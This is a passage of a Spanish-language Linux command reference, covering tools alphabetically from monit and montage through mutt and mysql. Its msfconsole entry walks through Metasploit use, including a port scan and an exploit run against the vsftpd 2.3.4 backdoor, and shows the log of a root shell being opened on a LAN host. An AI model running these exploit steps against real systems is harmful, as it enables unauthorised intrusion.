set httpd port 2812
allow localhost
```

Tambien podemos especificar: ips, rangos, hosts concretos o usuarios para solo lectura:

```

        allow 192.168.1.14
        allow 192.168.1.1/24
        allow host.com
        allow usuario:contraseña read-only
    Modificar el nombre del equipo [tiene que estar en /etc/hosts] y adaptar los porcentajes de
        consumo de carga del sistema [loadvg] y cpu para que al superar ciertos índices o porcentajes,
        envíe una alerta:

```

```
check system tux
```

```

    if loadavg (lmin) > 4 then alert

    if memory usage > 75% then alert

    if swap usage > 85% then alert

    if cpu usage (user) > 70% then alert

    if cpu usage (system) > 70% then alert

    if cpu usage (wait) > 70% then alert

```

Configurar el monitoreo de apache (Las rutas a los ficheros pertenecen a una distro arch):

```
check process apache with pidfile /run/httpd/httpd.pid
```

```

    start program = "/etc/rc.d/httpd start" with timeout 60 seconds

    stop program = "/etc/rc.d/httpd stop"

    if cpu > 80% for 5 cycles then restart

    if totalmem > 1500.0 MB for 5 cycles then restart

    if children > 250 then restart

    if cpu usage > 95% for 3 cycles then restart

    if failed port 80 protocol http then restart

```

Configurar monitoreo de ssh

```
check process ssh with pidfile /run/sshd.pid
```

```

    start program = "/etc/rc.d/sshd start" with timeout 60 seconds

    stop program = "/etc/rc.d/sshd stop"

    if cpu > 80% for 5 cycles then restart

    if totalmem > 1500.0 MB for 5 cycles then restart

    if children > 250 then restart

    if cpu usage > 95% for 3 cycles then restart

    if failed port 22 protocol ssh then restart

```

Chequear determinados puertos:

```
check host localhost with address localhost
```

```

    if failed icmp type echo count 10 with timeout 15 seconds

        then alert

    if failed port 22 proto ssh then alert

    if failed port 25 proto smtp then alert

```

```
if failed port 80 proto http then alert
```

Monitorear ciertos archivos de configuración [de apache y ssh] para que alerte si modifica el checksum:

```
check file httpd.conf with path /etc/httpd/conf/httpd.conf
```

```
if changed checksum then alert
```

```
check file ssh_config with path /etc/ssh/ssh_config
```

```
if changed checksum then alert
```

Monitorizar directorios para que envíe una alerta en caso de modificación:

```
check directory sbin with path /sbin
```

```
if changed timestamp then alert
```

Monitorizar dispositivos /dev/ [discos duros, usb...] para que avise en caso de sobrepasar determinado espacio en disco o lo desmonte al llegar a cierto porcentaje:

```
check device sda5 with path /dev/sda5
```

```
start = /bin/mount /dev/sda5
```

```
stop = /bin/umount /dev/sda5
```

```
if space usage > 90% then alert
```

```
if space usage > 98% then stop
```

Si, al pasar algún evento queremos lanzar un script algunos ejemplos para hacerlo son:

1.- Cuando la carga del sistema sobrepasa el índice 5 alertará y si supera el 20 ejecutará el script :

```
check system dominio.com
```

```
if loadavg (1min) > 5 then alert
```

```
if loadavg (1min) > 20 then exec "/bin/bash /root/script.sh"
```

2.- Si falla el servidor ftp [puerto 21], al pasar 20 segundos alertará y ejecutará el script

```
if failed port 21 protocol ftp with 20 seconds then alert and exec /ftp/script.sh
```

## monitorix

Herramienta para monitorizar sistemas y diseñada para controlar la mayor cantidad posible de servicios y recursos. Una vez activado el servicio con::

```
# service monitorix start
```

Se accede a los informes con el navegador y la dirección <http://localhost:8080/monitorix>

Podemos ajustar título y otros parámetros en el archivo `/etc/monitorix/monitorix.conf`

## monshow

[mon]. Mostrar el estado operativo del servidor mon. Están disponibles tanto con la interfaz de línea de comandos como la interfaz web [<http://127.0.0.1:2583/>].

```
# monshow --full
```

```
solo mostrar los servicios que fallan
```

## montage

[imagemagick]. Crear una imagen con la unión de varias y modificar imágenes.

```
$ montage *.png salida.jpg
```

Con todas las imagenes del directorio

```
$ montage -adjoin imagen.png imagen.png resultado.png
```

```
$ montage -monochrome entrada.png salida.png
```

convertir a blanco y negro

```
$ montage -title En el lago entrada.png salida.png
```

poner título

```
$ montage *.png -mode concatenate -tile 10x all.png
```

Imagen con todas las imágenes del directorio

```
$ montage -geometry +1+1 -tile 2x2 *.png salida.png
```

```
$ montage *.png -tile 2x5 -geometry 227x147+1+1 salida.png
```

(Colocará todos los png de la carpeta y los colocará en páginas de 10 con la geometría indicada y con una separación de 1 pixel entre ellos)

## modprobe

Utilidad que se usa para agregar y quitar módulos del kernel. Los módulos del kernel de Linux tienen .ko como extensión del nombre del módulo.

```
# modprobe --dry-run --verbose ac97_bus
```

```
# modprobe -r pcspkr
```

excluir cargar módulo emncionado [pitido del pc]

```
# modprobe -q nombre_modulo
```

excluir información de error respecto de un nombre\_modulo

```
# modprobe -c | grep pcspkr
```

comprobar un módulo concreto

```
# lsmod | grep pcspkr
```

ver si un módulo esta cargado

## more

Pagina el fichero que se especifique

```
$ cat /etc/apt/sources.list | more
```

como tuberia

```
$ more -5 -d /etc/apt/sources.list
```

de cinco en cinco lineas y mostrando teclas de ayuda

atajos:

```
espacio (adelanta una pantalla)
enter (avanza una linea)
b (retrocede una pantalla)
/ (busca la palabra introducida a continuación)
n (busca la siguiente concurrencia a buscar)
q (Salir del programa)
```



## moreutils

Colección cada vez mayor de herramientas Unix. Incluye las siguientes utilidades: `chronic` [ejecuta un comando silenciosamente a menos que falle], `combine` [combina las líneas en dos archivos usando operaciones booleanas], `errno` [busca nombres y descripciones de `errno`], `ifdata` [obtiene información de la interfaz de red sin analizar la salida de `ifconfig`], `ifne` [ejecuta un programa si la entrada estándar no está vacía], `isutf8` [comprueba si un archivo o entrada estándar es utf-8], `lckdo` [ejecuta un programa con un bloqueo mantenido], `mispipe` [canaliza dos comandos, devolviendo el estado de salida del primero], `parallel` [ejecuta varios trabajos a la vez], `pee` [entrada estándar en T a las tuberías], `sponge` [absorbe la entrada estándar y escribe en un archivo], `ts` [entrada estándar de marca de tiempo], `vidir` [edita un directorio en tu editor de texto], `vipec` [inserta un editor de texto en una tubería] y `zrun` [descomprime automáticamente los argumentos del comando]

## morse

Codifica un texto a lenguaje morse.

```
$ morse -s linux es un sistema genial
```

## morsegen

Programa que implementa el estándar internacional del código Morse al convertir letras de texto ASCII en notación de código morse ASCII.

```
$ morsegen file.txt > morse.txt
convertir a morse el texto del archivo mencionada y guardarlo en morse.txt
```

## mosaic

El abuelo de los navegadores (1993)

```
# apt-get install build-essential lesstif2-dev libjpeg62-dev libpng12-dev x11proto-print-dev
libxmu-headers libxpm-dev libxmu-dev
```

```
$ git clone https://github.com/alandipert/ncaa-mosaic.git
```

```
$ cd ncaa-mosaic
```

```
$ make linux
....
* Welcome to NCAA Mosaic.
make[1]: Leaving directory `/home/templix/ncaa-mosaic'
```

```
$ cd src
```

```
$ ./Mosaic
```

## mosh

Un ssh mejorado.

```
$ mosh usuario@host
```

```
$ mosh -p 5000 usuario@host
```

## most

Visualizar páginas man con colores.

```
# update-alternatives --config pager
```

Seleccionar el número que indique para most

## motion

Video vigilancia por acceso remoto. La configuración que viene por defecto es suficiente, aunque siempre puede pulirse. Aquí se tratará solo de los mínimos parámetros a modificar para tener motion funcional en local y en remoto .

Abrir los puertos 8080 y 8081 del router y del firewall (Si no se modifican los por defecto)

En debian y derivados

```
# nano /etc/motion/motion.conf
daemon on      (Permitir actuar como demonio)
webcam_localhost off  (permitir acceso remoto)
# nano /etc/default/motion
start_motion_daemon=yes
# /etc/init.d/motion start

En arch
```

```
# nano /etc/motion/motion.conf
daemon on
webcam_localhost off
Y, si no se va a usar base de datos, comentar los parámetros del apartado mysql:
#sql_log_image on
#sql_log_snapshot on
#sql_log_mpeg off
#sql_log_timelapse off
#sql_query insert ....
# mkdir /var/run/motion (Crear directorio para el PID)
No existe el /etc/default/motion
# /etc/rc.d/motion start

Para acceder a la cámara desde el navegador:
```

http://ip\_o\_host:8081

Para acceder a la configuración:

http://ip\_o\_host:8080

En este caso descomentar/modificar en /etc/motion/motion.conf

control\_localhost off (para acceder a la configuración remotamente)

control\_authentication username:password (Pide identificación)

substituir por los datos correctos, por ejemplo:

control\_authentication juanito:password

## mount

Montaje de particiones

```
# mount -t ext3
Lista las particiones ext3 montados
```

```
# mount -a
Monta todo lo que contengan la expresion "auto" en el /etc/fstab
```

```
# mount -s
Tolera opciones de montaje medio malas en vez de fallar
```

```
# mount -o loop imagen.iso /directorio
Montar una iso en un dir
```

```
# mount -t vfat /dev/sdf /media/disk -o force,rw
Forzar montaje lectura y escritura
```

```
# mount | column -t
muestra todo lo montado de forma ordenada
```

```
# mount -o remount / (Remontar una partición después de, por ejemplo modificar sus atributos
41 columna) en el fstab
```

```
# mount -o remount,rw,relatime /
Remontar una partición modificando atributos sólo para la presente sesión
```

## mountpoint

Comprueba si el directorio o archivo dado se menciona en el archivo `/proc/self/mountinfo`.

```
$ mountpoint /dev/pts

/dev/pts is a mountpoint
```

## mp3blaster

Reproductor de música.

Atajos

```
F1 (Añadir ficheros a la lista)
F3 (Seleccionar todo recursivamente)
Retroceso (Subir un directorio)
Espacio (Seleccionar archivo)
U (Deseleccionar todo)
D (Eliminar fichero)
< / > (Bajar / bajar volumen)
q (Salir del programa)
? (Mostrar ayuda)
Enter (Entrar)
Inicio (Ir al principio de la lista)
Fin (Ir al final de la lista)
4 (Canción anterior)
5 (Reproducir/Pausar canción)
6 (Canción siguiente)
1 (Retroceder canción)
2 (Detener canción)
3 (Avanzar canción)
```

## mp3check

Utilidad para la detección de mp3 incompletos o con errores.

```
$ mp3check 3 -e -r .
sólo los mp3 del presente directorio de forma recursiva y verificar la coherencia y encabezados e
imprimir los mensajes de error
```

## mp3gain

Analiza y ajusta archivos MP3 para que tengan el mismo nivel de volumen.

```
$ mp3gain -r -k *.mp3
Normaliza todos los archivos del directorio
```

```
$ find . -type f -iname '*.mp3' -print0 | xargs -0 mp3gain -r -k
genera una lista de los archivos mp3 contenidos en la carpeta actual, crea una tubería con el
resultado de la lista, y normaliza
```

```
$ find directorio -iname *.mp3 -exec mp3gain -r -k -m 5
normaliza un directorio y sus subdirectorios
```

## mp3info

Información sobre las etiquetas ID3 de archivos mp3blaster

```
$ mp3info archivo.mp3
Ver la información ID3
```

```
$ mp3info -t titulo -a artista -l album -y año -c comentario -n pista -g genero archivo.mp3
```

(Entrar información ID3 para un archivo mp3)

## mp3rename

Renombra ficheros mp3 según sus propias etiquetas [id3 tag]

```
$ mp3rename -s '%a_%t'
establecer las opciones predeterminadas las cuales quedan anotadas en ~/.mp3rename
```

Opciones:

```
&a (artista), &b (album), &k (pista), &t (título), &y (año)
```

```
$ mp3rename *.mp3
renombrará segun las opciones predeterminadas
```

```
$ mp3rename -i *.mp3
muestra los id3 tag de todos los mp3
```

```
Nota.- No siempre los id3tag estan disponibles o están completos
```

## mp3report

Programa para escanear una lista de directorios y subdirectorios creando un informe desde una plantilla HTML. También calcula varias estadísticas y duración de cada canción.

```
$ mp3report --title=Titulos directorio
especificando un título
```

```
$ mp3report --title=Titulos --outfile=musica.html directorio
especificando archivo de salida
```

## mpd

(demonio). Reproductor de audio con arquitectura servidor-cliente que gestiona listas de reproducción y bases de datos. Para hacer uso de una interfaz gráfica, es necesario un cliente tipo: sonata, ario, ncmtcp o pms. Ajustes en la configuración:

```
# nano /etc/mpd.conf
```

```
music_directory "/home/usuario/Musica"
```

```
playlist_directory "/home/usuario/.mpd/playlists"
```

```
db_file "/home/usuario/.mpd/mpd.db"
```

```
log_file "/home/usuario/.mpd/mpd.log"
```

```
pid_file "/home/usuario/.mpd/mpd.pid"
```

```
state_file "/home/usuario/.mpd/mpdstate"
```

```
user "usuario"
```

```
group "usuario"
```

```
bind_to_address "localhost"
```

```
port "6600"
```

Crear los archivos mencionados en la configuración:

```
$ touch /home/usuario/.mpd/playlists
```

```
$ touch /home/usuario/.mpd/mpd.db
```

```
$ touch /home/usuario/.mpd/mpd.log
```

```
$ touch /home/usuario/.mpd/mpd.pid
```

```
$ touch /home/usuario/.mpd/mpdstate
```

Arrancar el demonio:

```
$ mpd
```

## mpg123

Reproducir mp3 o urls

```
$ mpg123 archivo.mp3
```

```
$ mpg123 -@ http://uplink.duplexfx.com:8062/
```

## mpgtx

[comandos derivados: mpgsplit, mpgcat, mpgjoin, mpginfo, mpgdemux]. Manipulación de archivos mpeg.

mpgtx -i equivalente a mpginfo

mpgtx -s equivalente a mpgsplit

mpgtx -j equivalente a mpgjoin

mpgtx -j -o equivalente a mpgcat

mpgtx -d equivalente a mpgdemux

```
$ mpgtx -s archivo.mpg [3:15-] -b cortado.mpg
Dejar de un mpg del minuto 3,15 al final y guardarlo en cortado.mpg
```

```
$ mpgtx -s archivo.mpg [3:15-10:30] -b cortado.mpg
Lo mismo pero dejando del minuto 3,15 al 10,30
```

```
$ mpgtx -100 arhivo.mpg -b cortado
creará 100 trozos del archivo.mpg con los nombres cortado-001, cortado-002...
```

## mplayer

Reproductor de video

```
$ mplayer -vo aa movie.avi
en ascii
```

```
$ mplayer -vo aa:extended:driver=curses:contrast=50 movie.avi
```

```
$ mplayer -vo caca movie.avi
en color
```

```
$ mplayer -vo fbdev file.mpeg
reproduce en blanco y negro
```

```
$ mplayer -vo fbdev2 file.mpeg
reproduce en color
```

```
$ mplayer -vo fbdev2 -fs -zoom -double file.avi
```

-vo -help (ver opciones del driver)

```
$ mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry
"95%:93%" -ontop
Abre una ventana en la esquina inferior izquierda con imagenes de la webcam
```

```
$ mplayer mms://flux.cxnlive.com/oldiesfm
Escuchar una emisora
```

```
$ mplayer -nolirc http://5253.live.streamtheworld.com/VIRGINRADIO_DUBAIAAC
Otra forma de escuvhar una emisora
```

```
$ mplayer http://192.168.1.115/img/video.asf -frames 1 -vo jpeg:quality=100:maxfiles=1
Tomar una imagen [frames 1] de una ubicación en la red
```

## mpstat

[sysstat]. Escribe en la salida estándar las actividades de cada procesador disponible, siendo el primero el procesador 0. Si no se ha seleccionado ninguna actividad, entonces el informe por defecto es el informe de utilización de la CPU.

```
# mpstat -P ALL 2 5
informes de todos los procesadores a intervalos de 2 segundo 5 veces
```

```
# mpstat -u 2 3
informe de la cpu cada 2 segundos 3 informes
```

## mpsynt

[mps-youtube]. Reproductor de videos de youtube. Precisa python3

```
# pip install mps-youtube
```

Hace uso de aplicaciones externas. Para las descargas aria2.

```
# apt-get install aria2
```

```
# set download_command aria2c --dir=%d --out=%f %u
```

```
# set download_command aria2c -s4 -x4 --dir=%d --out=%f %u
```

```
$ mpsyt
Lanzar la aplicación
```

Una vez lanzada, en el prompt de la misma se lanzan los siguientes ajustes:

Y para la reproducción, mpv o mplayer.

```
$ set player mplayer
para que mplayer sea el reproductor
```

```
$ set player mpv
Para que lo sea mpv
```

```
$ set search_music false
Para que no busque archivos de música [por defecto]
```

```
$ set show_video true
Para que los busque de video
```

Las búsquedas se realizan anteponiendo un punto al video a buscar [.madonna] y el que se desea del listado que aparece se selecciona entrando el número que indica [1,2,3...] y para descargar:

```
    d número
Para más opciones:
```

```
    h
```

```
# pip3 install mps-youtube --upgrade
actualizar la aplicación
```

## mpv

Reproductor de video gobernado exclusivamente con el teclado.

Instalación en el caso de que no se encuentre en los repos:

```
# apt-get install git
# git clone https://github.com/mpv-player/mpv-build.git
# cd mpv-build/
# ./update
# apt-get install devscripts equivs
# dpkg -i mpv-build-deps_1.0_amd64.deb
# mk-build-deps
El comando anterior puede arrojar muchos errores. Ni caso.
# apt-get -f install
# debuild -uc -us -b -j2
# dpkg -i ../mpv_0.3.5_amd64.deb
Archivo de configuración:
```

```
$ nano .mpv/config
```

Algunos ajustes:

geometry=50%:50% (Medida de la pantalla)

fs=yes (Iniciar con pantalla maximizada)

volume=100 (Indicar el volumen por defecto)

cache=50000 (cache de la aplicación)

msgcolor=yes

Algunos atajos:

```
q (Salir)
v (Mostrar /esconder los subtítulos)
r y t (Cambiar la posición vertical del subtítulo)
o (1l pulsación muestra el tiempo transcurrido, 2l porcentaje y tiempo total)
p (Pause / Renaudar)
s (Sacar una captura)
S (Sacar una captura con los subtítulos)
f (Pantalla completa)
m (Silenciar)
1 y 2 (Aumenta / disminuye contraste)
3 y 4 (Aclara / oscurece la imagen)
5 y 6 (Gamma)
7 y 8 (Aumentar / disminuir brillo)
```

```
$ mpv video
```

## mrename

Añade un prefijo al nombre del archivo

```
$ mrename '*.mp3' vacaciones -m
sustituye los originales
```

```
$ mrename '*.mp3' vacaciones -c
los copia con el prefijo
```

## mrxvt

Emulador de terminal

Opciones:

-geometry 100x15 (Especificando medidas)

-title "Terminal linux" (Especificando título)

-o 20 (Nivel de transparencia. De 0 a 100)

-pixmap imagen (Con una imagen de fondo)

-bg red (color de fondo)

-fg white (color de fuente)

## msfconsole

[metasploit]. Consola centralizada con acceso a todo las opciones disponibles de Metasploit Framework, única soportada y estable con soporte para de edición de líneas (readline), que permite tabulación y ejecución de comandos externos.

Uso de comandos externos: Lanzar un ping a un equipo o nmap:

```
msf > ping -c 1 192.168.1.10
msf > nmap 192.168.1.10
Obtener ayuda:
```

```
msf > help
Mostrar módulos disponibles:
```

```
msf > show
Mostrar módulos auxiliares [scanners, modulos de denial of service, fuzzers...]:
```

```
msf > show auxiliary
Obtener una lista de todos los exploits:
```

```
msf > show exploits
Mostrar listado de los diferentes payloads y para las plataformas disponibles:
```

```
msf > show payloads
Nota.- Cuando se está usando un determinado exploit, "show payloads" solo mostrará los que son compatibles para ese exploit concreto.
```

Seleccionado un módulo específico, para mostrar las opciones disponibles y/o requeridas para ese módulo concreto.

```
msf exploit(ms08_067_netapi) > show options
Mostrar objetivos soportados:
```

```
msf exploit(ms08_067_netapi) > show targets
Mostrar las opciones avanzadas de un exploit:
```

```
msf exploit(ms08_067_netapi) > show advanced
Buscar cadenas de texto dentro del módulo
```

```
msf > search ms09-001
Buscar información detallada [opciones, objetivos....] sobre un determinado modulo
```

```
msf > info dos/windows/smb/ms09_001_write
Una vez escogido el módulo en particular, seleccionarlo con:
```

```
msf > use dos/windows/smb/ms09_001_write
Y mirar sus opciones requeridas:
```

```
msf auxiliary(ms09_001_write) > show options
Conectar a una Ip y a un puerto:
```

```
msf > connect 192.168.1.10 23
Para configurar las opciones del modulo que se está utilizando:
```

```
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.10
Comprobar de nuevo las opciones del módulo
```

```
msf auxiliary(ms09_001_write) > show options
Mostrar codificaciones disponibles:
```

```
msf exploit(ms08_067_netapi) > show encoders
Escoger la deseada:
```

```
msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai
Comprobar si un objetivo es vulnerable a un exploit sin explotar la vulnerabilidad:
```

```
msf exploit(ms04_045_wins) > check
Para establecer una variable global [setg - save]:
```



## M

```
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
msf > save
Saved configuration to: /root/.msf3/config
Suprimir una variable global:
```

```
msf > unsetg RHOST
Suprimir una variable entrada para un módulo:
```

```
msf > unset RHOST
Lanzar un exploit:
```

```
msf auxiliary(ms09_001_write) > run
Salir del módulo:
```

```
msf auxiliary(ms09_001_write) > back
Cambiar al modo de edición de scripts en ruby:
```

```
msf > irb
1.-
```

Algunos comandos relacionados con la base de datos propia de metasploit:

```
msf > db_status (Mostrar el estado de la conexión a la BDs y nombre)
msf > db_nmap 192.168.1.10 (Lanzar nmap y guardar el resultado en la BDs)
msf > hosts (Muestra todos los informes de la BDs)
msf > hosts 192.168.1.10 (Muestra sólo el informe de la ip especificada)
msf > services (Muestra todos los servicios de la BDs incluso los inactivos)
msf > services -u -R 192.168.1.10 (Muestra los servicios activos [u] del host especificado [R])
2.-
```

Muestra de un scan de puertos:

```
Exploradores de puertos disponibles:
msf > search portscan
Nota.- Los escáners y la mayoría de módulos auxiliares usan la opción RHOSTS en vez de
RHOST y puede ser un rango de IP [192.168.1.10-192.168.1.50], rangos CIDR
(192.168.1.0/24), múltiples rangos separados por comas (192.168.1.0/24,
192.168.3.0/24) y una lista en un archivo con una ip por linea (file:/tmp/hostlist.txt
).
Para escoger el escaneador de puertos a usar:
msf > use scanner/portscan/tcp
Comprobar si falta algún parámetro [RHOSTS]
msf auxiliary(tcp) > show options
Entrar la ip donde dirigir el escaneo:
msf auxiliary(tcp) > set RHOSTS 192.168.1.10
Arancar el escaneo:
msf auxiliary(tcp) > run
Todos los módulos scanner tiene el valor THREADS en "1". Este valor establece el número de
subprocesos simultaneos que se utilizan durante la exploración. Un número superior acelera las
exploraciones pero aumenta el tráfico en la red. Para modificar el valor:
```

```
msf > set THREADS 50
3.-
```

Muestra de un ataque

```
MSF > use exploit/unix/ftp/vsftpd_234_backdoor
```

Comprobar parámetros que faltan:

```
msf exploit(vsftpd_234_backdoor) > show options
Entrar el parámetro RHOST [la IP atacada]
```

```
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.1.10
Comprobar nuevamente si el parámetro ha entrado correctamente:
```

```
msf exploit(vsftpd_234_backdoor) > show options
Lanzar el exploit en segundo plano [j] y mostrando una salida positiva en la que se abre una shell
en la máquina remota:
```

```
msf exploit(vsftpd_234_backdoor) > exploit -j
[*] Exploit running as background job.
[*] Banner: 220 (vsFTPd 2.3.4)
[*] USERR: 331 Please specify the password.
msf exploit(vsftpd_234_backdoor) > [+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.15:49654 -> 192.168.1.10:6200) at 2013-07-07
    08:06:30 -0400
Mostrar las sesiones abiertas [ID de la sesion, puertos abiertos, máquina remota, local...]:
```

```
msf exploit(vsftpd_234_backdoor) > sessions -l
Ejecutar un comando en todas las shells abiertas y mostradas con sessions -l:
```

```
msf exploit(vsftpd_234_backdoor) > sessions -c ifconfig
Entrar en la session con ID 1:
```

```
msf exploit(vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...
A partir de este punto estamos en una shell clásica de linux del host 192.168.1.10 donde podemos
usar todos los comandos propios de dichas shells.
```

## mtar

Tar para máquinas con multiples cores. La sintaxis es igual que la de tar [ver]

## mtr

Aplicación que combina las funcionalidades de traceroute y ping, probando cada uno de los saltos que hay desde que un paquete se envía hasta que llega a su destino.

```
# mtr -f tuxapuntos.com
sin el -f se muestra de forma gráfica
```

```
# mtr --tcp --port 80 --report --report-cycles 10
```

Atajos mientras está la aplicación ejecutándose:

```
h ayuda
d modo de visualización
r reiniciar
o orden de los campos
q salir
```

## mtd-utils

Utilidades para manipular dispositivos con tecnología de memoria, como memoria flash, Disk-On-Chip o ROM. Incluye las siguientes herramientas: docfdisk, doc\_loadbios, flashcp, flash\_erase, flash\_eraseall, flash\_lock, flash\_otp\_dump, flash\_otp\_info, flash\_otp\_lock, flash\_otp\_write, flash\_unlock, ftl\_check, ftl\_format, jffs2dump, jffs2reader, lsmttd, mkfs.jffs2, mkfs.ubifs, mtd\_debug, mtdinfo, mtdpart, nanddump, nandtest, nandwrite, nftldump, nftl\_format, recv\_image, rfddump, rfdformat, serve\_image, sumtool, ubiattach, ubiblock, ubicrc32, ubidetach, ubiformat, ubihealthd, ubimkvol, ubinfo, ubinize, ubirename, ubirmvol, ubirsvol, ubiupdatevol.

## multitail

Abrir en una ventana varios procesos tail.

```
$ multitail /var/log/message /var/log/apache2/access.log
```

```
$ multitail -R 2 -l "netstat -t" -ci green /var/log/apache2/access.log -ci yellow /var/log/apache2/error.log
```

## M

```
$ multitail -a netstat.log -R 2 -l "netstat -t tcp" /var/log/apache/access.log
```

```
# multitail -n 20 /var/log/dpkg.log  
ver las últimas 20 líneas
```

```
# multitail -n 20 -iw 2 /var/log/syslog -i /var/log/sudo.log  
ver las 20 últimas filas de dos archivos y actualizar cada 2 segundos
```

Algunas opciones:

-ci red (muestra los log en rojo)

-R 2 (actualiza cada 2 segundo)

-l "comando" (incluir un comando)

-a archivo.log (crear un archivo con los resultados del comando)

-I (muestra el log precedido de la "i" mayuscula en la misma ventana que el anterior)

-s 2 (Mostrar el resultado en dos columnas)

-sn 2,3 (Mostrar 2 resultados en la 1ª columna y 3 en la 2ª)

Notas:

```
F1 (abrir la ayuda)  
^g (cerrar ventana ayuda)  
b (seleccionar proceso)  
q (cerrar ventana proceso)  
v (Cambiar la orientación horizontal/vertical)
```

## munin

Monitor del sistema via web. Permite, mediante plugins, monitorizar varios servicios. Funciona en modo cliente/servidor.

```
# /etc/init.d/munin start
```

Y colocar en el navegador: `file:///var/cache/munin/www/index.html`

## mupdf

Visor de archivos pdf

```
$ mupdf -b 8 -r 150 archivo.pdf  
con la máxima calidad [de 0 a 8] y a 150 dpi de resolución [por defecto 72] si el pdf requiriese  
contraseña se añadiría con -p contraseña
```

Arrancada la aplicación, algunas teclas de control son:

```
L M (Voltea el pdf)  
h j k l (scroll arriba/abajo y derecha/izquierda)  
+ - (Aumentar/diminuir medida del texto)  
15g (Ir a la página 15)  
/ (Abre diálogo buscar texto)  
n N (Ir a la siguiente/anterior busqueda)  
. , (Página siguiente, página anterior)
```

## muraster

Convierte páginas PDF en imágenes.

```
$ muraster -F ppm -o file.ppm entrada.pdf 1,2  
en formato ppm con el nombre especificado de las páginas 1 y 2 de entrada.pdf
```

## music123

Reproductor de música.

```
$ music123 tema.mp3
```

```
$ music123 tema1.mp3 tema2.wav tema3.ogg
Reproducir varios títulos
```

```
$ music123 -z -r .
Reproducir todos los temas del presente directorio [r .] de forma aleatoria [z]
```

```
$ music123 -Z -q -r /rock
Reproducir sin fin [Z] el directorio especificado y sin mostrar salida en la consola [q]
```

```
$ music123 -d 2 -r .
esperar 2 segundos entre tema y tema
```

```
$ music123 -r /rock tema1.mp3 /folk tema2.wav
Reproducir dos temas de dos directorios distintos
```

## mutagen-inspect

Muestra información sobre un archivo de audio y sus etiquetas. Está pensado principalmente como herramienta de depuración para Mutagen que es un módulo de Python para manejar metadatos de audio.

```
$ mutagen-inspect audio.mp3
```

## mutool

[mupdf-tool] Muestra información y características de un pdf.

```
$ mutool info file.pdf
características del pdf
```

```
$ mutool show file.pdf
muestra información del pdf
```

```
$ mutool extract file.pdf
extrae las imágenes
```

```
$ mutool show file.pdf
mostrar objetos internos del pdf
```

```
$ mutool clean file.pdf
reescribe el pdf con salida out.pdf
```

## mutt

Gestión del correo por consola

```
$ nano /home/usuario/.muttrc
```

y añadir:

```
set imap_user = 'tu-correo@gmail.com'
set imap_pass = 'contraseña'
set spoolfile = imaps://imap.gmail.com:993/INBOX
set folder = imaps://imap.gmail.com:993
set record=imaps://imap.gmail.com/[Gmail]/Sent Mail
set postponed=imaps://imap.gmail.com/[Gmail]/Drafts
set header_cache=~/.mutt/cache/headers
set message_cachedir=~/.mutt/cache/bodies
set certificate_file=~/.mutt/certificates

Guardar.
```

## M

```
# mutt
Para arrancar la aplicación en ncurses

$ echo | mutt -a paquete.tar.gz -s 'el paquete' -c juanito@gmail.com -b pedrito@correo.com (
  enviar un paquete[-a], asunto[-s], otro destinatario[cc] y otro en copia oculta[bcc]

$ mutt -s "asunto" destinatario@correo.com <<< "mensaje a enviar"

$ echo "Esto es una prueba" | mutt -s 'asunto' destinatario@correo.com

$ cat texto.txt | mutt -s "asunto" destinatario@correo.com
```

## mv

Mover o renombrar archivos o directorios

```
$ mv archivo archivo2
renombrar "archivo" a "archivo2"

$ mv /home/usuario/index.html /var/www/
mover archivo a otro directorio

$ mv -i
Pide confirmación de sobrescritura si existe el archivo o directorio

$ mv -f
Sobreescribe sin preguntar
```

## mypager

Colorear la salida de las bases de datos de mysql/postgresql. Una vez entrado en la aplicación SQL.

```
mysql> pager base_de_datos
```

## mysecureshell

Herramienta creada para aportar más funcionalidades al protocolo sftp/scp ofrecido por OpenSSH y ofrecer la potencia y seguridad de OpenSSH, con funciones mejoradas (como ACL) para restringir los usuarios conectados.

Crear un usuario con la shell restringida. También puede hacerse desde la propia aplicación (ver):

```
$ useradd -m -s /bin/MySecureShell USER
$ passwd USER
```

```
$ MySecureShell --configtest
comprobación de la configuración de un usuario
```

MySecureShell viene con algunas utilidades que facilitan la administración y el control de las cuentas SFTP y del mismo MySecureShell.

```
$ sftp-who
muestra los usuarios SFTP que están conectados

$ sftp-kill USER
Desconectar a un usuario

$ sftp-state
verificar el estado de la aplicación

$ sftp-verif
comprueba la existencia y los permisos de los distintos archivos

$ sftp-user list
muestra todas las cuentas de usuario habilitadas para SFTP
```

## M

```
$ sftp-user delete USER  
eliminar una cuenta de usuario SFTP
```

```
$ sftp-user create USER  
crear un usuario
```

Un ejemplo de configuración básica:

```
# nano /etc/ssh/sftp_config
```

```
<Group sftp>
```

```
    Download                50k    # limitar velocidad de descarga por conexión  
    Upload                  0      # Velocidad de subida ilimitada por conexión  
    StayAtHome              true   # limitar al usuario a su directorio home  
    VirtualChroot           true   # falsifica un chroot a la cuenta de inicio  
    LimitConnectionByUser   1      # conexión máxima para cada cuenta  
    LimitConnectionByIP     1      # conexión máxima por IP para cada cuenta  
    IdleTimeOut             300    # desconectar por inactividad (en segundos)  
    HideNoAccess            true   # ocultar archivo/directorio al que el usuario no tiene  
acceso
```

```
</Group>
```

## mysql

Gestor de bases de datos [BDs]. Las BDs se guardan en el directorio /var/lib/mysql/

```
$ mysqldump -u root -p proveedores > fichero.sql  
Crear un backup de la BD "proveedores".
```

```
$ mysql -u root -p proveedores < fichero.sql  
Restaurar la BD "proveedores" de un archivo
```

```
$ mysqlimport -u root -p clientes fichero.sql  
Otra forma de restaurar una BD si esta ya existe
```

```
$ mysqldump -u root -p --all-databases > fichero.sql  
Backup de todas las BDs
```

```
$ mysqldump -u root -p clientes proveedores > fichero.sql  
Backup de dos BDs
```

```
$ mysqldump -u root -p proveedores --ignore-table=antiguos > fichero.sql  
Backup ignorando una tabla
```

```
$ mysqldump -u root -p base_de_datos tabla1 tabla2 > tabla1_y_tabla2.sql  
Exportar solo unas tablas de una BDs
```

```
$ mysql -u root -p1234  
Acceder a la BD con el usuario "root" y contraseña "1234"[nótese que la contraseña está junto a la "p"]
```

```
$ mysql -u root -p  
Pedirá contraseña para acceder a la BD con el usuario "root"
```

```
$ mysql -u root -p datos  
